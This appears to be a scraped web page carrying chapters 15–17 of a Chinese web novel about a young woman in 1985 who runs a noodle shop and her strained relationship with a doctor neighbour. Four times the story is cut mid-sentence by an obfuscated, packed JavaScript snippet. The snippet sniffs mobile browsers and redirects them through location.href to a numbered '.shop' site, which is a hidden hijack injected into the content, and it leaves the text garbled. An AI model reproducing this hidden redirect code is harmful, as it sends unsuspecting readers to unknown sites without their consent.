赵苏南准备卤今天中午用的卤肉，今天的客人比昨天只多不少，她得把料备足。 黑板报的宣传第一天已经看到了显著的效果，赵苏南肯定不会放着这么好的宣传位不用。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276539|198273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昨天宣传了炸酱面，今天宣传芝麻酱面。 燕都人夏天离不开芝麻酱，自然也少不了这芝麻酱面。*** 而最有意趣的吃法，盛面不用碗，用冰凉的西瓜皮。 大夏天买来一个大西瓜，切成两半，吃光瓜瓤，将过了三回水的芝麻酱面放入其中，那才是凉爽。 昨天围观了赵苏南做炸酱面，郑叔他们吃炸酱面的群众，在看过黑板报后，明知道今天这芝麻酱面小赵老板肯定不卖。 还是迈着腿，咽着口水，走到赵家小店门口，蹲在那等。 在他们看来，吃是吃不着，但是能看着面，闻着味也行。 再说不还有卤肉面和酸辣粉这两样可点么。 他们可以边看郑叔他们吃芝麻酱面，边吃卤肉面和酸辣粉。 临近中午，小店被围的密不透风了。 郑叔他们六个坐在昨天的位置上，等着试吃今天的新面，说是芝麻酱面。 赵苏南正在调这芝麻酱面最主要的调料芝麻酱。 这买来的芝麻酱还不能用，得先澥开才行。 买来的芝麻酱?出放入碗内，加上适量盐，一边加入凉白开水，一边用筷子搅拌均匀。 直至红棕色的芝麻酱变成焦黄色的稀浆，就算澥好了。 芝麻酱澥好了，还有必不可少的葱花酱油等小料。 另拿来一个碗，倒入酱油、切好的葱花，再炸花椒油。 这花椒要选好，不能选麻劲大到麻嘴的，要选炸出来微麻带香的。 国内热油，放入花椒，小火慢慢炸，围观众人看着那花椒粒炸的焦糊，然后小赵老板拿着铁勺一舀，那勺里的‘噼啪’作响的带着焦糊花椒的热油‘刺啦’浇在盛着酱油葱花的碗里，诱人的鲜香花椒味扑进人的鼻子里。 围观众人闻着味，有那自来熟的凑到郑叔他们六个身边：“那个，咱们商量商量，小赵老板做的面，您几位给我挑上一口，我不白吃您几位的，出钱买怎么样？” 郑叔他们当即义正言辞拒绝了：“这位，不好意思了，您还是等着饭店开业再来吃，到时候吃个过瘾。” 开玩笑，他们也不差这几毛钱，但小赵老板的面可不是谁都能吃到的。 想到昨天那炸酱面的滋味，咽着口水，不知道今天这芝麻酱面是啥滋味。 赵苏南今天多抻出来两个人份的面，大嫂、二嫂过来干活，伙食上不能让自家人亏了不是。 算上父母共十个碗，依次放好。 抻面两个开捞出，放进十个碗内，依次浇上芝麻酱、葱花酱油花椒油，再放上黄瓜丝、萝卜丝。可以上桌了。 面端上桌，又端上了醋、一碟腌好的香椿末儿。 “郑叔，醋和香椿末根据自己的口味自调。”赵苏南道。 围观的食客们，瞧着那六碗面，都要瞧出花来了。 咽着口水冲着郑叔他们道：“您几位快点把新店装完吧，这天天瞧着您几位吃，我们都要馋死了，回家晚上睡觉都谁不香啦！” 郑叔他们六人哈哈大笑：“好好，我们尽快赶工，尽快装完，尽快让各位都吃的上面哈！” 说完迫不及待地拿起筷子，朝着满是芝麻酱香、花椒香的面伸过去。 15. 第 15 章 郑叔是土生土长的燕都人，从小到大就吃着这一口芝麻酱长大。 当然芝麻酱面也是没少吃的。 可他还是第一回吃到这么讲究的芝麻酱面。 他把面拌匀，夹起来一口送到嘴里。 香！ 这香里不光有芝麻酱的香，还有花椒的香。 这花椒香里还有这一丝微麻。 再夹起一筷子黄瓜丝、萝卜丝。 清新、爽口！ 真是好吃啊！ “小赵老板这碗芝麻酱面，吃起来香，不糊嘴不说，配上面码，越吃越爽快。”郑叔吃的一脸满足，“我也是地道的老燕都人了，吃过不少家的芝麻酱面，没有那一家的芝麻酱面能比得上今天此的这一碗！” “就算是国营饭店也比不上！” 他这一说，勾的围观的众人眼神愈发哀怨了，咽口水的声音此起彼伏。 我们知道这面好吃，知道你吃的过瘾，能不要不要再馋他们了，看得到、闻得到却吃不到，是对吃货多大的折磨啊！ 郑叔同桌的其他几个年轻人，则是把桌子上的醋和腌香椿末加进芝麻酱面里。 这加了醋和腌香椿末的又是另一种滋味。 米醋味不大，吃到嘴里不是猛烈的酸，是轻薄的些微刺激感的酸。 腌香椿末，清香提鲜。 微热的天气吃上这一口，别提有多舒服了！ “师傅，这加了醋和香椿末的芝麻酱面酸香味正，更好吃了！吃的我停不下来，师傅你也加一些试试！”同桌小年轻推荐。 郑叔也不客气，当下拿起醋和香椿末加进吃了一半的面里，三两下搅拌匀，在吃一口，眼睛一亮：“加了醋和香椿末的确更爽口，更解暑了。” 听他这么说，周围的人在也忍不住了，纷纷道： “小赵老板，给我来一碗卤肉面。” “郑师傅他们吃的太香了，我要一碗酸辣粉。” “我也要一碗卤肉面，多加一份卤肉，芝麻酱面吃不上，多吃一份卤肉解解馋。” 赵苏南满脸笑容切卤肉、抻面。 这现场吃播和饥饿营销的效果真不错。 直接的视觉冲击，在围观顾客的心中种下了强烈的期待。 不仅实现了现场带货，销量攀升；更是为新店开业那天，积累了大量客人。 郑叔他们埋头苦吃，买卤肉面的和酸辣粉的客人越多。 店里、店外能坐的位置都坐满了人。 没有座位的，排成队等待。 许华和张琴坐在两张小马扎上，碗放在板凳上吃午饭。 看着这么多人排队吃面，震惊到瞪大了眼睛。 许华喃喃道：“苏南这店的人，比去国营饭店的还多。” 张琴点头：“苏南手艺好，这么多人吃不奇怪，咱们俩快吃，吃完去替换大爷、大娘下来吃。” 许华点头，他们俩这碗面，也是芝麻酱面。 拌匀吃上一口，二人就停不下来了，一口接着一口，一气吃完半碗。 “苏南这芝麻酱面真是太好吃了，比肉酱的拌面还好吃。”许华夸赞。 张琴赞同：“苏南的手艺比饭店的大师傅还好。” 吃完面，二人收拾好，换苏芸和赵建军下来吃。 苏芸锤了锤胳膊腿，坐下喝两口水，缓口气，拿起筷子吃面：“苏南开面馆这来的人越来越多了，瞧瞧这排的长队，得回租下了隔壁的店面，不然这么多的人，哪里有地方坐。” 赵建军笑着说：“闺女大了，有主见，有主意了，她想做什么，就放手让她去干。左右还有我们俩能给她兜底。” 苏芸脸上的笑这些天就没落下来过。 赵苏南是没空吃饭了。 这么多人等着吃面，她要赶紧着做出来。 幸好今天大嫂、二嫂来帮忙了，要不这么多客人，光靠她父母两个人忙，一定忙不过来。 也有过来吃饭的，看到店排这么长的队伍，决定晚上人少人的时候再来吃。 西街这边比北街清冷，现在这么多人排队，都涌进赵苏南家店里，瞧着可比北街热闹多了。 “这老赵家卖面是卖火了，之前她家卖早点可没有这么多人过来排着队吃。” “那是人家赵苏南手艺好，听说是跟老师傅学的手艺，等她家新店开业，我也去尝尝这老燕都的面有多好吃。” 孙燕脸色难看极了，嘴角这两天刚消下去的燎泡，又鼓起来，她瞅着了那边排着队吃的人，听着街坊四邻说的话，站在门口语气刻薄大声道：“一个面能好吃道哪里去，惯会整景，连面都不给人尝，找一桌子搁那吃，请的托吧！十多岁的黄毛丫头，手艺再好，能好哪去？” 她快要气死了，眼看着这两天降价，生意好起来了，还没好两天，又落下去了，并且比之前没降价时还要差。 本钱收不回来，之前的计划又打了水漂。 盘账时候，她手都在抖。 她难受的心都在滴血。 要不是那黄毛丫头，她家能成这个样子！ 不过，她这日子过不了几天了。 等她开业那天，就是那面馆倒闭的时候。 到时候看她怎么哭。 孙燕嘴角咧开就要笑，却忘了嘴上还长着燎泡，顿时捂住嘴，哎呦哎呦叫起来。 晚上，赵苏南把最后一波客人送走，一家人没有回家，在小店里吃的饭。 郑叔他们这两天被客人催着装修，每天早晚都自动加了工时。 赶工期是赵苏南占了便宜，早餐郑叔他们在家吃，晚上在店里，就得让他们吃好了回家。 满满一盘子卤肉摆上桌，炸酱面、卤肉面、芝麻酱面、酸辣粉管够。 郑叔还好，跟着他的五个小子抹不开面，不好意思。 “小赵老板，这也太好了，我家过年都没吃这么好的。” “是啊，小赵老板，随便做点素面吃吃就行，实在不用这么破费。” 赵苏南把切好的腌萝卜、黄瓜端上桌，笑着道：“你们是郑叔的徒弟，都是自家人，这些都是店里有的，算不上破费，等新店装好，我做上几道大菜，请你们好好尝尝我的手艺。” 郑叔喜欢赵苏南这姑娘，有本事，长得俊，做事张弛有度，知道感恩，表里如一，不是说一套做一套的那种人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276540|198273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更何况她爸和他还是战友，有这层关系，两家交好，只有好，没有坏。 郑叔也不客气，拿起筷子吃面，朗声道：“苏南，我赶赶工期，估摸着下个月一号房子就能装完，通个两天风，让水泥干透，四号就能用了。” 这可是个好消息。 店早一天装完，就能早一天开门营业赚钱。 她现在欠了六百块钱，虽说都是自己家人的，可她不喜欢欠钱，早还完，心里踏实。 “谢谢郑叔了。”赵苏南笑着道。 “那些顾客每天望眼欲穿，要是这店再不装完，我怕他们过来监工，逮住我们不让我们回家。”郑叔哈哈笑道。 郑叔他们有赵建军招待，赵苏南去和苏芸、大嫂、二嫂坐在一起吃。 “大嫂、二嫂，今天一天在店里还适应吗？”赵苏南问道。 “刚开始有点手忙脚乱，熟悉了也就上手了。”许华道。 刚开始面对这么多人点面、收钱，颇有点手足无措，但大娘苏芸带和她们，细心又耐心教她们两次慢慢就找到窍门了。 张琴道：“苏南，郑叔说店面快要装好了，家里你二哥他们三个把桌子椅子打出来一半了，估摸着下个月一号就能全部做出来。” 这可太好了，所有大件都备好了，下月四号准能开业。 “大嫂，我招牌画好了，本来想着这两天找时间回去拿给二叔的，就拜托大嫂帮我拿回去给二叔了。”赵苏南道。 这都是小事，许琴想都没想就点头了。 赵苏南边吃面边寻思，店里要开业，得把需要的东西做好。 比如她这两天写在黑板报上的美食故事。 会讲故事的餐厅不一定是最好的餐厅，但一定是客流量不差的餐厅。 故事讲得好，才能吸引到感兴趣的顾客。 这也是引流的一种。 她想要把赵苏记这搁品牌做大，美食故事这个利于传播的宣传点，就一定得跟上。 赵苏南准备把黑板报的故事画下来，挂在她家新店的墙上。 不仅能起到装饰的作用，还让每个来到店里的顾客都能看得到。 想好了，赵苏南决定抽个时间，去卖画笔和画纸回来画。 她可是专门学过的，当初她的画画老师还夸过她画画的不错。 她对自己的画技很有信心。 送走郑叔一行人，又送走大嫂、二嫂，一家人收拾好店铺，关店回家。 天色已经暗了下来，回到家只能见到点点夕阳。 骑车进到自家院子，陆淮川家的灯居然亮着。 赵苏南缓慢眨了下眼睛，以为是不是自己家早上出门的时候没有关灯！ 却听到她妈惊讶道：“陆主任今天回来了？” 赵建军把车停好：“是，陆主任今天回来的还挺早。” 赵苏南知道，那的确是陆淮川的家。 可是他昨天不是都被她给气跑了么？ 脸都气红了，眼神都恨不得把冻死。 不是应该十天半个月再不回来了么？ 他怎么就回来了呢？ 赵苏南心里在淌眼泪，脸上面无表情。 16. 第 16 章 苏芸从三轮车上下来，仰头朝上看了看，转头对赵苏南道：“陆主任家厨房烟囱没烟，家里没开火，苏苏去问问陆主任吃饭了么，家里缺不缺东西。” 赵苏南手还把在自行车上把上，她妈嘱咐完她，和她爸拿完三轮车里的东西进到厨房里了。 她苦着脸，停好自行车。 十步路分成二十步走，站定陆淮川门前，手叩门：“陆主任，我妈来让我问你，你这缺不缺东西。” 赵苏南站在门口，屋里很静，静到她以为屋里没人在家。 客厅的灯还亮着。 她手落在门上，正要再敲。 陆淮川的声音传出来：“不缺。” 他声音嘶哑，低沉。 陆淮川这是生病了！ 赵苏南心虚。 不是被她气病的吧！ 陆淮川躺在沙发里，手盖在眼睛上。 面前方桌上放着体温计、两片药，一杯水。 屋外的人迟迟没有声音。 陆淮川以为赵苏南走了。 昨天骑车赶到医院，忙碌一夜，今天做了两台手术，疲惫和累，下午发起了高烧。 医院同事给他听诊、把脉，说他心火太旺、肝火太盛，加上思虑过重，睡眠不足，饮食不规律，才发起高烧。 陆淮川拿了药回来，只觉得疲惫，回来便躺在沙发里。 他第一次因为一个女人的举动而受到影响。 这感觉真不好。 赵苏南手放在门上又拿下来。 陆淮川真让她给气着了！ 病成什么样？ 这屋里就他一个人，严重了怎么办？ 思来想去，踌躇犹豫。 赵苏南拉住门把手，轻轻向外一拽。 拉开了。 一眼掠过桌子上摆着的药片，眼睛又落到仰躺在沙发里的人。 嘴唇泛白，手搭在脸上，瞧不清楚神色。 陆淮川听到门被拉开的声音，放下手，偏头看向门口，眼睛对上赵苏南的视线，皱眉：“你还没走？” 脸色苍白，神情疲惫，眉头蹙着，忍耐着不舒服。 赵苏南没想到自己真给人气病了。 心里愧疚，又扫了一眼桌子上的摆着的药片。 对着陆淮川冷淡的眼神：“那个，吃了饭再吃药比较好。” 陆淮川不想看到赵苏南，看到她，就想起这病是怎么来的。 脑袋神经抽痛。 于是冷声道：“知道，你出去吧，我要休息了。” 陆淮川话音刚落，门轻轻被关上了，人也脚步轻轻的走了。 听到人走远了，心里又涌起一股火气，又不知因为什么涌起的这股火，皱着眉，脸色更难看了。 就在他为这股无名火恼怒的时候。 不知过了多久，外间的门又被打开了。 随着门开，一股香醇的米香一起飘进来。 陆淮川看过去，赵苏南单手托着托盘，托盘上摆着粥、碗筷和一碟小咸菜，正要走进来。 那粥冒着滚滚热气，一望就知是刚出锅的。 他眼皮一跳，站起来，两步走过去，接过她手上的托盘。 “赵苏南，这粥烫到你怎么办？” 陆淮川气她不小心。 赵苏南讪讪跟在他身后，小声道：“我都是两手端的，就进门这一会才单手托着的。” 陆淮川把托盘放在方桌上坐下，听到她小声嘀咕，本就旺盛的肝火更旺了。 赵苏南随后坐在右手位沙发上。 瞧他脸色实在难看，愧疚的心达到了顶峰，主动盛了一碗粥，放到他手边，又拿出那碟咸菜，轻声说：“陆淮川，吃过饭再吃药，对胃好。” 陆淮川看见她眼含担忧望着他，刚刚那股莫名升起的恼怒的情绪，倏地消散了。 却又升起另一股火。 她不想和他结婚，又对他摆出这副关心的样子做什么？ 更气的是，他自己对她这关心，竟然不想拒绝。 在赵苏南晶亮的眼睛注视下，陆淮川沉默地端起碗，闻着米香，一口一口吃起来。 一时间屋内冷静静地，唯有小坐钟发出滴滴答答的轻响。 陆淮川吃着，赵苏南看着。 这还是两人第一次这么平静的坐在一起。 陆淮川的吃相很好。 但吃饭的速度很快。 可能是医生的职业习惯。 一大海碗的粥，都进了陆淮川的肚子。 吃过了饭，赵苏南又看着陆淮川把药吃完，撇了一眼身后关着门的卧室，又瞅瞅他身下又窄又小的沙发，端起托盘，站起身：“陆淮川，你好好休息，那个你的卧室，已经打扫过了哈。” 说完，推开门就走了。 陆淮川顿了顿。 他现在的身体需要好好休息。 从沙发上站起，走到卧室，旋开卧室门，打开墙上的电灯，屋内一切一览无余。 在门口停顿片刻，走进去，拿起叠的整齐的床单被罩，一一铺好。 躺进去，鼻端是清新的香气。 和赵苏南身上的味道很像。 赵苏南端着托盘回来，苏芸和赵建军问陆淮川病的怎么样。 “陆主任是感冒了，应该没有其他事。”赵苏南道。 “医院真是忙。”苏芸感慨。 赵苏南没接话，毕竟陆主任的忙有一大半都是她的功劳。 第二天，陆淮川起床，感冒的症状好了大半。 被子细致叠好，洗漱完毕，打开门，看到门把手上挂着一张纸条。 摘下来，写着一行小字：“陆淮川，我家厨房给你留了饭，多吃饭才能早日康复哦~”还画了一个笑脸。 陆淮川看完，把纸条叠起来，妥帖放进上衣内口袋。 苏家的厨房门虚掩着。 拉开门进去，厨房正中的大锅扣着锅盖。 灶台上摆着一碟昨天他吃过的小腌菜。 掀开锅盖，热气升腾。 散去热气，锅里摆着白粥、暄软的馒头，一颗咸鸭蛋。 陆淮川看着锅里的食物，定定出神。 他不知道赵苏南对他到底什么意思。 既要撩拨他，又要对他好。 却又不想和他结婚。 眼睛看着他，里面又没有对他的喜欢。 今天赵苏南没在黑板报上做宣传。 但来吃的客人依旧只多不少。 瞅见郑叔他们吃面，没有新花样，纷纷打趣赵苏南： “小赵老板，今日还等着你做新面，看着下饭呢。” “是哟，少了郑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276541|198273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叔他们的吃播，吃面如同少了一道佐料啊。” 赵苏南手上动作不停，笑着说：“这也是为了各位着想，省的看着郑叔吃面，晚上回家睡觉都睡不香” 忙着的时候脑子偶尔闪过陆淮川的脸，不知道他的感冒好没好一些。 总院，陆淮川到了科室，吕主任也刚到。 吕主任换着白大褂，边道：“气色不错，还得是你们年轻人哦，恢复的快。” 陆淮川一向沉默寡言，换好自己的衣服，坐在椅子上，开始工作。 周正他们几个医生，幽魂一样飘进科室，再飘到自己的座位上。 陆淮川见到他们几个，手上的动作停下道：“周正还有你们几个，这段时间练习缝合练习的不错，今天开始可以回家了。” 张广以为自己听错了，瞪着眼睛看了看其他的同伴，见同伴们高兴的眼睛都亮了。 知道自己没有听错。 一时间眼泪横流，扯着周正的衣服，手都在颤抖：“终于、终于可以回家了。” 周正也开心，涣散的眼睛都有神了。 他们连续在医院呆了一个多星期了。 天天手术、门诊、病房轮转，期间还要写病例，练习缝合技术，一个人恨不得掰成八个使。 听到可以回家了，如同听到了赦令。 周正悄声地道：“今天进来就发现陆主任心情非常好，并且不是一般的好。” 张广怀疑周正的精神被累出问题了。 他进门也看到了陆主任，依旧是面无表情的一张脸，看着就发怵。 “不管了，能回家就好，我今天晚上要好好的洗个澡，再美美地睡上一觉。”张广小声地嚷嚷道。 晚上赵苏南回到家，把屋里的桌子搬了出来，放在院子里。 快到五月了，屋子里热，家里没有空调、风扇，不如在外面凉快。 买来的画纸铺好，画笔拆开。 这是上午她抽空出去卖的，价格不便宜。 院子里拉了灯，打开亮度刚好。 陆淮川下班回来，就见赵苏南绑着高马尾，穿一身蓝色连衣裙，坐在李子树下，垂头画画。 微风吹过，凌乱发丝擦着她的脸，明媚狭长的眼睛带笑。 慵懒、舒展。 陆淮川驻足看了片刻，推着自行车进来。 声音惊动了正在画画的赵苏南。 她抬头看过来，打招呼：“陆淮川你回来啦！” 语气欢欣，好像他回来了，她很高兴一样。 可他们是什么关系？ 嗤，什么关系都没有。 陆淮川不去看她，垂着头，神色淡淡。 赵苏南拿着画笔的手指了指厨房：“我爸妈稍晚才回来，厨房给你留了饭。” 陆淮川从她身后走过，轻轻的清香味道，和陪伴他一夜安眠的味道一样。 到厨房中，打开锅盖，里面是鲜嫩的蒸蛋，炒青菜，粒粒晶莹的米饭。 一阵沉默。 陆淮川一一拿出来， 赵苏南准备的正好是一人份，他全部吃干净。 洗涮好碗筷，回到自己屋子。 他没关屋门 陆淮川坐在客厅沙发上，沙发位置正正对着赵苏南。 他看着她画画，手中的医书，迟迟没有翻页。 17. 第 17 章 今天是周一，店铺休息放假的一天。 不过新店在装修，苏芸和赵建军夫妻俩又去了店里，留赵苏南在家。 她爸妈说，忙了一周，在家好好休息，店里有他们，也不会让郑叔他们饿着。 但赵苏南也没有休息好。 早晨小腹涨涨的不舒服，起床去了洗手间，发现自己例假来了。 从洗手间出来，赵苏南这些天一直提着的心终于放下了。 原书里男主和他的前妻一直没有孩子，不可能她穿过来了，上来把孩子就给她安排上了。 赵苏南成大字躺在床上，眼睛看着天花板。 把这个消息告诉陆淮川，他一定高兴。 毕竟一个从心里讨厌的人，要是怀上自己的孩子，那是一种难以忍受的折磨吧。 赵苏南由己推人，如果这事发生在自己身上，她也接受不了。 躺在床上胡思乱想，肚子涨涨的感觉消减不少，赵苏南就起床了。 从把陆淮川气生病这些天来，每天早晨、晚上的饭都带上陆淮川一份。 今天也不例外。 赵苏南起床做饭时看了，陆淮川的自行车在家。 现在已经七点半了，还没去上班，陆淮川今天也休息？ 赵苏南一边想，手上打鸡蛋的动作不停。 锅里放入油，中热，打散的鸡蛋液倒进锅中煎熟，打碎成颗粒。 昨天吃剩下的米饭加进去， 锅铲不断翻炒。 正在做鸡蛋炒饭，厨房外传来清冷男声：“需要我做什么？” 赵苏南抬头，是陆淮川。 天气这么热，他好像自带降温系统，白衬衫扣子系到脖颈，深灰色85式军裤，老干部风满满。 “你把桌子摆到院里吧，院里凉快，就是我用着画画的那个桌子。”赵苏南嘱咐道。 陆淮川把袖子挽上去，露出小臂，进到苏家屋里，把桌子摆在那棵李子书下。 再拿出两张凳子，一左一右摆好。 手按在桌子上，目光看向赵苏南。 这些天他们两人都是如此相处。 在明知道赵苏南对自己无意，他理智告诉自己应该远离。 可偏偏他没有按理智思考那么做。 赵苏南蛋炒饭炒好盛出，扬声道：“陆淮川，来端饭、勺子、和四个碗，饭好啦！” 陆淮川走过去，或许他想要知道，赵苏南不想和他结婚，究竟是图谋更大的利益，还是有其他的目的。 这让他非常在意。 赵苏南把锅涮干净，拿出鸡蛋，打了两人份的紫菜蛋花汤。 盛出装进大海碗，放上大勺子，简单的早饭做好。 早餐简单，闻着美味。 赵苏南给自己盛上满满一碗蛋炒饭，又盛上一碗汤，一边吃一边道：“陆淮川，你今天不上班么？” 陆淮川低头吃饭：“今天休息。” 周一休息，倒是和她的休息时间一样。 赵苏南端起汤喝下一口，很随意开口道：“陆淮川，我来例假了。” 陆淮川听到赵苏南说这，微微一顿，低头继续吃饭。 “这回你该放心了。”赵苏南道。 陆淮川抬头：“为什么是我放心了？” 赵苏南莫名：“难道你想要孩子？” 原著写男主不喜欢小孩，并且还挺讨厌。 “不想要。”陆淮川冷声道。 赵苏南点头，两人随即无话，沉默吃完这顿饭。 陆淮川今天食量下降，准备的两人份正正好的饭，今天剩下了一半，赵苏南看着剩饭发愁。 她们家也没养什么牲畜，没办法，赵苏南把剩饭放进碗柜里。 陆淮川洗好碗筷回自己屋子了。 赵苏南穿好衣服，收拾整齐，骑车出门。 她要去市场一趟。 周一的菜市场也热闹的紧。 走到大舅的摊位，两个年轻人在肉摊上割肉，她大舅坐在两人身后椅子上看报纸。 六子和三顺见赵苏南眼熟，以为她是老顾客，热情招呼道：“姑娘，你要买什么肉？” 赵苏南摇头，对着看报纸的苏强道：“大舅。” 刘子和三顺这才想起来为什么看人眼熟，这不是师傅的外甥女赵苏南么！ 苏强听到人叫他，放下报纸，抬头，看到赵苏南眼睛一亮，站起来：“大外甥女，今天不是休息么，怎么来了？” 赵苏南展示了手上提着的四个罐头瓶子的腌菜：“我爸说咱们家人爱吃我做的腌菜，想着上回让我爸拿来的该吃得到差不多了，今天再送点过来。” 苏强伸手接过来：“苏南你做的腌菜你姥姥、姥爷顿顿都落不下，全家都爱吃。” 老人家爱吃，苏南也高兴。 “大舅，今天过来想和你订一些猪肉，原来的小店改成了卤肉店，猪蹄、猪头这些都需要。”赵苏南道。 别的没有，苏强这里猪肉管够。 大手一挥：“外甥女你要多少，到时候让你爸来取。” 赵苏南笑着说：“那就拜托大舅了。”接着有问道：“大舅，你知道哪里有卖牛肉、牛骨吗？” 苏强想了想道：“同村的陈老二杀牛卖牛，他家的牛肉质量不错，外甥女你想要多少，我去让他给你留点。” 赵苏南道：“牛骨每天八根，牛肉要上五斤，这些下月四号那天用。” 苏强点头：“行，下月四号来取就是。” 有个人脉真好，重要的食材采购搞定了。 “大舅，一号那天店里装修完，请大家吃个饭，你给我留三斤仔排，一个肘子，三斤五花肉，二斤做臀肉。”赵苏南道。 “嚯，要这么多肉！”苏强惊讶道。 一般人家请吃饭，也没做这么多大菜的。 “这不新店要开业了，准备拿这桌子菜练练手。”她对苏强道：“大舅，下月三号下午来新店吃饭，咱们一家人一起聚一聚，尝尝我做的菜。就是还得要麻烦大舅给我留肉了。” 苏强笑了：“行，大舅一定去，肉管够，大舅也好好尝尝你的手艺。” 这么说定了，赵苏南也不多留，告别大舅，去逛逛百货商场。 这几天赚了些钱，虽然还欠着债，但给爸妈买点衣服和鞋子的钱还是有的。 1985年的百货商场商品种类还比较单一，但也足够热闹。 赵苏南第一次来逛商场，也不着急买，到处走走看看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278179|198273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 走到卖女装的柜台，停下来挑选。 她看到几件短袖，款式还挺不错，她妈一定喜欢。 就在她挑选时，有四个女孩走到她身边，阴阳怪气地道：“赵苏南，你怎么出门了，不是嚷嚷要和陆主任结婚，要何念瞧着看么！” 赵苏南转过头，看这四人，全然陌生，一个也不认识。 但何念的名字她熟悉，是她穿的这本书的女主。 书里形容她温柔，端庄，长相清丽。 她在这四人脸上挨个掠过，最终看向靠右边穿黄色连衣裙的长发姑娘：“你是何念？” 刚才阴阳怪气的说话的短发姑娘蹬着眼睛，上前一步：“赵苏南，你什么意思，何念在这你没看到么？” 赵苏南发现她认错了，着短发姑娘挽着的穿蓝格子连衣裙的长发姑娘才是何念。 “不好意思，我忘性大。”赵苏南这么说着，但语气毫无歉意。 短发姑娘被气的不轻，翻个白眼：“我看你就是嫉妒何念，嫉妒何念和陆主任相亲。” 赵苏南心里很意外，陆淮川要与何念相亲！ 男女主这就要走到一起了？ 赵苏南看了不做声低着头的何念一眼笑了：“我有什么好嫉妒的。” 短发姑娘挽着何念，骄傲道：“何念大学毕业，在学校做人民教师，你只有高中文凭，连工作都没有。” 她可骄傲了，仿佛这份荣耀是她的一样。 赵苏南挑眉：“但是我漂亮呀。” 短发姑娘生气：“漂亮有什么用！不是没有学历！” “是，但我就是漂亮呀。”赵苏南道。 短发姑娘被噎住了，她看着赵苏南那张明艳绝绝的脸，的确反驳不了。 “长得好看又怎么样，陆主任也不会看上你，以后少纠缠陆主任，他可是要和我们何念组成家庭的。”短发姑娘又道。 赵苏南看向何念：“是么？何念！” 何念抬头，眼睛看着赵苏南：“我见过陆主任的母亲，赵苏南同志，陆主任不会喜欢你的，还请你念着两家的感情，不要纠缠的好。” 她喜欢陆淮川，也喜欢陆淮川的家世。 赵苏南只是一个意外。 赵苏南微笑，话中有意道：“那你在担心什么呢？” 何念手悄悄攥紧。 赵苏南不想搭理她们几个，好好的休息时间，不值得浪费在这上面。 “何念，你该知道结不结婚这事在陆淮川。你是个聪明人。”赵苏南道：“快走吧，该干嘛干嘛，再在这找我麻烦，你们四位可就的好名声可就要没了。” 短发姑娘不服气，被何念拉住。 何念看了赵苏南一眼，转头走了。 赵苏南没有被影响心情，接着逛商场，给她妈买了一双鞋和短袖，该她爸也买了一双鞋和短袖。 都买完，天气热，拎着东西，骑车回家。 回到家，眼睛本能地向陆淮川的屋子一瞧。 他屋子的门没关，陆淮川坐在沙发上，正襟危坐翻看一本砖头厚的医书。 赵苏南想到在百货商场遇到的何念。 把买回来的衣服鞋子放好。 朝着陆淮川的屋子走去。